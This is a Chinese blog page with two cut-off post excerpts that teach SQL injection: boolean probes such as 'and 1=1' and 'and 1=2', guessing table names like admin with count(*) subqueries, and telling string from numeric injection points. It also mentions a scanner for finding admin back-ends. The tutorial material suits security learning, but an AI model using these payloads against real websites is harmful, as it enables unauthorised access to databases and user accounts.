一颗小松子.的博客

SQL注入语句特征 1.判断有无注入点 ; and 1=1 and 1=2 2.猜表一般的表的名称无非是admin adminuser user pass password 等… and 0<>(select count(*) from *) and 0<>(select count(*) from admin) --判断是否存在admin这张表 3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面，说明帐号数目就是1个 and 0<(sel

SQL注入 御剑扫描网站后台 SQL注入点的判断 ?id=35 +1/-1 select * from tbName where id=$id ?id=35' 字符型还是数字型 near ''' at line 1 select * from tbName where id=35' ?id=35 and 1=1 是否有布尔类型的状态 ?id=35 and 1=2 select * from tbName where id=35 and 1=1 select * from tbName where id=35